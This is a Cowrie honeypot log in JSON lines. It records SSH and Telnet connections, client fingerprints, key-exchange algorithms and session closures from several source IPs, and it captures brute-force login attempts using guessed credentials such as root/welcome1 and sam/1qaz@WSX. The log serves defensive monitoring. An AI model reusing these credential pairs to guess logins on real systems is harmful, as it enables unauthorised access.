{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:03.529598Z","src_ip":"80.66.85.226","session":"5bc7ef2610a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:03.618413Z","src_ip":"80.66.85.226","session":"5bc7ef2610a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natalya","message":"login attempt [root/natalya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:03.985660Z","src_ip":"80.66.85.226","session":"5bc7ef2610a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:05.083314Z","src_ip":"80.66.85.226","session":"5bc7ef2610a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44856,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe35d53993e8","protocol":"telnet","message":"New connection: 152.42.224.71:44856 (10.17.0.5:23) [session: fe35d53993e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:05.870427Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f35ce2cd52","protocol":"telnet","message":"New connection: 152.42.224.71:44870 (10.17.0.5:23) [session: 43f35ce2cd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:06.572043Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41196,"dst_ip":"159.203.135.109","dst_port":22,"session":"329919849eb2","protocol":"ssh","message":"New connection: 31.40.204.166:41196 (159.203.135.109:22) [session: 329919849eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:07.404750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:07.496545Z","src_ip":"31.40.204.166","session":"329919849eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:07.595717Z","src_ip":"31.40.204.166","session":"329919849eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:08.391124Z","src_ip":"31.40.204.166","session":"329919849eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44882,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfdf151ea162","protocol":"telnet","message":"New connection: 152.42.224.71:44882 (10.17.0.5:23) [session: bfdf151ea162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:08.670372Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:09.602089Z","src_ip":"31.40.204.166","session":"329919849eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.62944006919861,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:09.713078Z","src_ip":"152.42.224.71","session":"5009549682a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.073119163513184,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:13.099905Z","src_ip":"152.42.224.71","session":"e802266b81dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46220,"dst_ip":"10.17.0.5","dst_port":23,"session":"e16bd26ec6d5","protocol":"telnet","message":"New connection: 152.42.224.71:46220 (10.17.0.5:23) [session: e16bd26ec6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:17.909269Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54312,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb468a0f8910","protocol":"ssh","message":"New connection: 31.40.204.166:54312 (159.203.135.109:22) [session: eb468a0f8910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:19.779486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:19.784017Z","src_ip":"31.40.204.166","session":"eb468a0f8910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:19.912303Z","src_ip":"31.40.204.166","session":"eb468a0f8910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46224,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65ed02c7b8a","protocol":"telnet","message":"New connection: 152.42.224.71:46224 (10.17.0.5:23) [session: a65ed02c7b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:19.986009Z"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:20.382432Z","src_ip":"31.40.204.166","session":"eb468a0f8910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43998,"dst_ip":"10.17.0.5","dst_port":22,"session":"f770eed70746","protocol":"ssh","message":"New connection: 38.93.206.2:43998 (10.17.0.5:22) [session: f770eed70746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:21.198076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:21.217429Z","src_ip":"38.93.206.2","session":"f770eed70746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:21.261196Z","src_ip":"38.93.206.2","session":"f770eed70746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pobeda","message":"login attempt [root/pobeda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:21.453699Z","src_ip":"38.93.206.2","session":"f770eed70746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:21.510080Z","src_ip":"31.40.204.166","session":"eb468a0f8910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dab54cb705b","protocol":"telnet","message":"New connection: 152.42.224.71:46228 (10.17.0.5:23) [session: 8dab54cb705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:21.691352Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:22.508197Z","src_ip":"38.93.206.2","session":"f770eed70746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.38425421714783,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:23.123563Z","src_ip":"152.42.224.71","session":"8b4eab4b9ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42358,"dst_ip":"10.17.0.5","dst_port":23,"session":"329bd4f57512","protocol":"telnet","message":"New connection: 152.42.224.71:42358 (10.17.0.5:23) [session: 329bd4f57512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:27.920380Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":59054,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6b3de0adc6","protocol":"ssh","message":"New connection: 103.75.183.219:59054 (10.17.0.5:22) [session: 0e6b3de0adc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:28.695791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:28.701244Z","src_ip":"103.75.183.219","session":"0e6b3de0adc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:28.948277Z","src_ip":"103.75.183.219","session":"0e6b3de0adc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789987654321","message":"login attempt [root/123456789987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:29.680696Z","src_ip":"103.75.183.219","session":"0e6b3de0adc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"3141a601b34c","protocol":"telnet","message":"New connection: 152.42.224.71:42366 (10.17.0.5:23) [session: 3141a601b34c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:30.457253Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:30.926579Z","src_ip":"103.75.183.219","session":"0e6b3de0adc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40916,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf5b212ef094","protocol":"ssh","message":"New connection: 31.40.204.166:40916 (159.203.135.109:22) [session: cf5b212ef094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:31.515613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:31.520399Z","src_ip":"31.40.204.166","session":"cf5b212ef094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:31.681742Z","src_ip":"31.40.204.166","session":"cf5b212ef094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2100a5905df","protocol":"telnet","message":"New connection: 152.42.224.71:42378 (10.17.0.5:23) [session: f2100a5905df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:32.025476Z"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:32.181925Z","src_ip":"31.40.204.166","session":"cf5b212ef094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:33.319789Z","src_ip":"31.40.204.166","session":"cf5b212ef094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42392,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c5b2543e1d","protocol":"telnet","message":"New connection: 152.42.224.71:42392 (10.17.0.5:23) [session: c8c5b2543e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:35.302670Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"8458c1ba9296","protocol":"telnet","message":"New connection: 152.42.224.71:42384 (10.17.0.5:23) [session: 8458c1ba9296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:35.314811Z"}
{"eventid":"cowrie.session.closed","duration":27.304421186447144,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:35.974689Z","src_ip":"152.42.224.71","session":"bfdf151ea162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78088736534119,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:36.054597Z","src_ip":"152.42.224.71","session":"54d3d881b9f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47550,"dst_ip":"10.17.0.5","dst_port":23,"session":"415faf1a4751","protocol":"telnet","message":"New connection: 152.42.224.71:47550 (10.17.0.5:23) [session: 415faf1a4751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:38.952704Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":43400,"dst_ip":"159.203.135.109","dst_port":22,"session":"583aeebe9dc5","protocol":"ssh","message":"New connection: 45.148.10.121:43400 (159.203.135.109:22) [session: 583aeebe9dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:39.787657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:39.792042Z","src_ip":"45.148.10.121","session":"583aeebe9dc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:39.876967Z","src_ip":"45.148.10.121","session":"583aeebe9dc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47564,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a521625cdb4","protocol":"telnet","message":"New connection: 152.42.224.71:47564 (10.17.0.5:23) [session: 9a521625cdb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:40.169134Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51652,"dst_ip":"159.203.135.109","dst_port":22,"session":"00e8082d047f","protocol":"ssh","message":"New connection: 31.40.204.166:51652 (159.203.135.109:22) [session: 00e8082d047f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:43.079948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:43.102496Z","src_ip":"31.40.204.166","session":"00e8082d047f","protocol":"ssh"}
